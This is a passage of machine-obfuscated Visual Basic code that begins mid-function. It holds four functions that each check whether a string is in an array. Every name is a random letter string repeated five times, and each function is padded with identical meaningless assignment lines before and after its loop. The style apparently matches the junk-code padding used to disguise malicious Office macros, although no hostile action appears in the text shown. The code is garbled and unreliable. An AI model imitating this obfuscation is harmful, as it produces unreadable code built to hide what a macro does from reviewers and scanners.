 LaTbtLaTbtLaTbtLaTbtLaTbt = rPpcwErPpcwErPpcwErPpcwErPpcwE + BpLMgBpLMgBpLMgBpLMgBpLMg = mMRkUmMRkUmMRkUmMRkUmMRkU
 ZmhwcZmhwcZmhwcZmhwcZmhwc = mWHtvmWHtvmWHtvmWHtvmWHtv + UvCPzVUvCPzVUvCPzVUvCPzVUvCPzV = BSYRuUBSYRuUBSYRuUBSYRuUBSYRuU
 yANHVyANHVyANHVyANHVyANHV = fyBVCfyBVCfyBVCfyBVCfyBVC + hhkeChhkeChhkeChhkeChhkeC = BeupaXBeupaXBeupaXBeupaXBeupaX

For Each shHYSshHYSshHYSshHYSshHYS In SubRgtSubRgtSubRgtSubRgtSubRgt
    If shHYSshHYSshHYSshHYSshHYS = cSVMFfcSVMFfcSVMFfcSVMFfcSVMFf Then
        LnNZzLnNZzLnNZzLnNZzLnNZz = True
        Exit Function
    End If
Next shHYSshHYSshHYSshHYSshHYS
CTauNxCTauNxCTauNxCTauNxCTauNx = rATwRHrATwRHrATwRHrATwRHrATwRH + nHepbHnHepbHnHepbHnHepbHnHepbH = EbfwvHEbfwvHEbfwvHEbfwvHEbfwvH
 kpufPkpufPkpufPkpufPkpufP = BGHExEBGHExEBGHExEBGHExEBGHExE + swgCYtswgCYtswgCYtswgCYtswgCYt = aamUYaamUYaamUYaamUYaamUY
 ftweFftweFftweFftweFftweF = ynrNFynrNFynrNFynrNFynrNF + yVGRAwyVGRAwyVGRAwyVGRAwyVGRAw = bCTXFbCTXFbCTXFbCTXFbCTXF
 LaTbtLaTbtLaTbtLaTbtLaTbt = rPpcwErPpcwErPpcwErPpcwErPpcwE + BpLMgBpLMgBpLMgBpLMgBpLMg = mMRkUmMRkUmMRkUmMRkUmMRkU
 ZmhwcZmhwcZmhwcZmhwcZmhwc = mWHtvmWHtvmWHtvmWHtvmWHtv + UvCPzVUvCPzVUvCPzVUvCPzVUvCPzV = BSYRuUBSYRuUBSYRuUBSYRuUBSYRuU
 yANHVyANHVyANHVyANHVyANHV = fyBVCfyBVCfyBVCfyBVCfyBVC + hhkeChhkeChhkeChhkeChhkeC = BeupaXBeupaXBeupaXBeupaXBeupaX

End Function
 Function tCyyGztCyyGztCyyGztCyyGztCyyGz(ByVal nakBHnakBHnakBHnakBHnakBH As String, ByVal ampFuaampFuaampFuaampFuaampFua As Variant) As Boolean
CTauNxCTauNxCTauNxCTauNxCTauNx = rATwRHrATwRHrATwRHrATwRHrATwRH + nHepbHnHepbHnHepbHnHepbHnHepbH = EbfwvHEbfwvHEbfwvHEbfwvHEbfwvH
 kpufPkpufPkpufPkpufPkpufP = BGHExEBGHExEBGHExEBGHExEBGHExE + swgCYtswgCYtswgCYtswgCYtswgCYt = aamUYaamUYaamUYaamUYaamUY
 ftweFftweFftweFftweFftweF = ynrNFynrNFynrNFynrNFynrNF + yVGRAwyVGRAwyVGRAwyVGRAwyVGRAw = bCTXFbCTXFbCTXFbCTXFbCTXF
 LaTbtLaTbtLaTbtLaTbtLaTbt = rPpcwErPpcwErPpcwErPpcwErPpcwE + BpLMgBpLMgBpLMgBpLMgBpLMg = mMRkUmMRkUmMRkUmMRkUmMRkU
 ZmhwcZmhwcZmhwcZmhwcZmhwc = mWHtvmWHtvmWHtvmWHtvmWHtv + UvCPzVUvCPzVUvCPzVUvCPzVUvCPzV = BSYRuUBSYRuUBSYRuUBSYRuUBSYRuU
 yANHVyANHVyANHVyANHVyANHV = fyBVCfyBVCfyBVCfyBVCfyBVC + hhkeChhkeChhkeChhkeChhkeC = BeupaXBeupaXBeupaXBeupaXBeupaX

For Each vcXCevcXCevcXCevcXCevcXCe In ampFuaampFuaampFuaampFuaampFua
    If vcXCevcXCevcXCevcXCevcXCe = nakBHnakBHnakBHnakBHnakBH Then
        tCyyGztCyyGztCyyGztCyyGztCyyGz = True
        Exit Function
    End If
Next vcXCevcXCevcXCevcXCevcXCe
CTauNxCTauNxCTauNxCTauNxCTauNx = rATwRHrATwRHrATwRHrATwRHrATwRH + nHepbHnHepbHnHepbHnHepbHnHepbH = EbfwvHEbfwvHEbfwvHEbfwvHEbfwvH
 kpufPkpufPkpufPkpufPkpufP = BGHExEBGHExEBGHExEBGHExEBGHExE + swgCYtswgCYtswgCYtswgCYtswgCYt = aamUYaamUYaamUYaamUYaamUY
 ftweFftweFftweFftweFftweF = ynrNFynrNFynrNFynrNFynrNF + yVGRAwyVGRAwyVGRAwyVGRAwyVGRAw = bCTXFbCTXFbCTXFbCTXFbCTXF
 LaTbtLaTbtLaTbtLaTbtLaTbt = rPpcwErPpcwErPpcwErPpcwErPpcwE + BpLMgBpLMgBpLMgBpLMgBpLMg = mMRkUmMRkUmMRkUmMRkUmMRkU
 ZmhwcZmhwcZmhwcZmhwcZmhwc = mWHtvmWHtvmWHtvmWHtvmWHtv + UvCPzVUvCPzVUvCPzVUvCPzVUvCPzV = BSYRuUBSYRuUBSYRuUBSYRuUBSYRuU
 yANHVyANHVyANHVyANHVyANHV = fyBVCfyBVCfyBVCfyBVCfyBVC + hhkeChhkeChhkeChhkeChhkeC = BeupaXBeupaXBeupaXBeupaXBeupaX

End Function
 Function kGuFgkGuFgkGuFgkGuFgkGuFg(ByVal pkmcDUpkmcDUpkmcDUpkmcDUpkmcDU As String, ByVal tUEmEYtUEmEYtUEmEYtUEmEYtUEmEY As Variant) As Boolean
CTauNxCTauNxCTauNxCTauNxCTauNx = rATwRHrATwRHrATwRHrATwRHrATwRH + nHepbHnHepbHnHepbHnHepbHnHepbH = EbfwvHEbfwvHEbfwvHEbfwvHEbfwvH
 kpufPkpufPkpufPkpufPkpufP = BGHExEBGHExEBGHExEBGHExEBGHExE + swgCYtswgCYtswgCYtswgCYtswgCYt = aamUYaamUYaamUYaamUYaamUY
 ftweFftweFftweFftweFftweF = ynrNFynrNFynrNFynrNFynrNF + yVGRAwyVGRAwyVGRAwyVGRAwyVGRAw = bCTXFbCTXFbCTXFbCTXFbCTXF
 LaTbtLaTbtLaTbtLaTbtLaTbt = rPpcwErPpcwErPpcwErPpcwErPpcwE + BpLMgBpLMgBpLMgBpLMgBpLMg = mMRkUmMRkUmMRkUmMRkUmMRkU
 ZmhwcZmhwcZmhwcZmhwcZmhwc = mWHtvmWHtvmWHtvmWHtvmWHtv + UvCPzVUvCPzVUvCPzVUvCPzVUvCPzV = BSYRuUBSYRuUBSYRuUBSYRuUBSYRuU
 yANHVyANHVyANHVyANHVyANHV = fyBVCfyBVCfyBVCfyBVCfyBVC + hhkeChhkeChhkeChhkeChhkeC = BeupaXBeupaXBeupaXBeupaXBeupaX

For Each xEfExxEfExxEfExxEfExxEfEx In tUEmEYtUEmEYtUEmEYtUEmEYtUEmEY
    If xEfExxEfExxEfExxEfExxEfEx = pkmcDUpkmcDUpkmcDUpkmcDUpkmcDU Then
        kGuFgkGuFgkGuFgkGuFgkGuFg = True
        Exit Function
    End If
Next xEfExxEfExxEfExxEfExxEfEx
CTauNxCTauNxCTauNxCTauNxCTauNx = rATwRHrATwRHrATwRHrATwRHrATwRH + nHepbHnHepbHnHepbHnHepbHnHepbH = EbfwvHEbfwvHEbfwvHEbfwvHEbfwvH
 kpufPkpufPkpufPkpufPkpufP = BGHExEBGHExEBGHExEBGHExEBGHExE + swgCYtswgCYtswgCYtswgCYtswgCYt = aamUYaamUYaamUYaamUYaamUY
 ftweFftweFftweFftweFftweF = ynrNFynrNFynrNFynrNFynrNF + yVGRAwyVGRAwyVGRAwyVGRAwyVGRAw = bCTXFbCTXFbCTXFbCTXFbCTXF
 LaTbtLaTbtLaTbtLaTbtLaTbt = rPpcwErPpcwErPpcwErPpcwErPpcwE + BpLMgBpLMgBpLMgBpLMgBpLMg = mMRkUmMRkUmMRkUmMRkUmMRkU
 ZmhwcZmhwcZmhwcZmhwcZmhwc = mWHtvmWHtvmWHtvmWHtvmWHtv + UvCPzVUvCPzVUvCPzVUvCPzVUvCPzV = BSYRuUBSYRuUBSYRuUBSYRuUBSYRuU
 yANHVyANHVyANHVyANHVyANHV = fyBVCfyBVCfyBVCfyBVCfyBVC + hhkeChhkeChhkeChhkeChhkeC = BeupaXBeupaXBeupaXBeupaXBeupaX

End Function
 Function gSSVRPgSSVRPgSSVRPgSSVRPgSSVRP(ByVal xzcrVxzcrVxzcrVxzcrVxzcrV As String, ByVal EfHwyEfHwyEfHwyEfHwyEfHwy As Variant) As Boolean
CTauNxCTauNxCTauNxCTauNxCTauNx = rATwRHrATwRHrATwRHrATwRHrATwRH + nHepbHnHepbHnHepbHnHepbHnHepbH = EbfwvHEbfwvHEbfwvHEbfwvHEbfwvH
 kpufPkpufPkpufPkpufPkpufP = BGHExEBGHExEBGHExEBGHExEBGHExE + swgCYtswgCYtswgCYtswgCYtswgCYt = aamUYaamUYaamUYaamUYaamUY
 ftweFftweFftweFftweFftweF = ynrNFynrNFynrNFynrNFynrNF + yVGRAwyVGRAwyVGRAwyVGRAwyVGRAw = bCTXFbCTXFbCTXFbCTXFbCTXF
 LaTbtLaTbtLaTbtLaTbtLaTbt = rPpcwErPpcwErPpcwErPpcwErPpcwE + BpLMgBpLMgBpLMgBpLMgBpLMg = mMRkUmMRkUmMRkUmMRkUmMRkU
 ZmhwcZmhwcZmhwcZmhwcZmhwc = mWHtvmWHtvmWHtvmWHtvmWHtv + UvCPzVUvCPzVUvCPzVUvCPzVUvCPzV = BSYRuUBSYRuUBSYRuUBSYRuUBSYRuU
 yANHVyANHVyANHVyANHVyANHV = fyBVCfyBVCfyBVCfyBVCfyBVC + hhkeChhkeChhkeChhkeChhkeC = BeupaXBeupaXBeupaXBeupaXBeupaX

For Each ZCGvdZCGvdZCGvdZCGvdZCGvd In EfHwyEfHwyEfHwyEfHwyEfHwy
    If ZCGvdZCGvdZCGvdZCGvdZCGvd = xzcrVxzcrVxzcrVxzcrVxzcrV Then
        gSSVRPgSSVRPgSSVRPgSSVRPgSSVRP = True
        Exit Function
    End If
Next ZCGvdZCGvdZCGvdZCGvdZCGvd
CTauNxCTauNxCTauNxCTauNxCTauNx = rATwRHrATwRHrATwRHrATwRHrATwRH + nHepbHnHepbHnHepbHnHepbHnHepbH = EbfwvHEbfwvHEbfwvHEbfwvHEbfwvH
 kpufPkpufPkpufPkpufPkpufP = BGHExEBGHExEBGHExEBGHExEBGHExE + swgCYtswgCYtswgCYtswgCYtswgCYt = aamUYaamUYaamUYaamUYaamUY
 ftweFftweFftweFftweFftweF = ynrNFynrNFynrNFynrNFynrNF + yVGRAwyVGRAwyVGRAwyVGRAwyVGRAw = bCTXFbCTXFbCTXFbCTXFbCTXF
 LaTbtLaTbtLaTbtLaTbtLaTbt = rPpcwErPpcwErPpcwErPpcwErPpcwE + BpLMgBpLMgBpLMgBpLMgBpLMg = mMRkUmMRkUmMRkUmMRkUmMRkU
 ZmhwcZmhwcZmhwcZmhwcZmhwc = mWHtvmWHtvmWHtvmWHtvmWHtv + UvCPzVUvCPzVUvCPzVUvCPzVUvCPzV = BSYRuUBSYRuUBSYRuUBSYRuUBSYRuU
 yANHVyANHVyANHVyANHVyANHV = fyBVCfyBVCfyBVCfyBVCfyBVC + hhkeChhkeChhkeChhkeChhkeC = BeupaXBeupaXBeupaXBeupaXBeupaX

End Function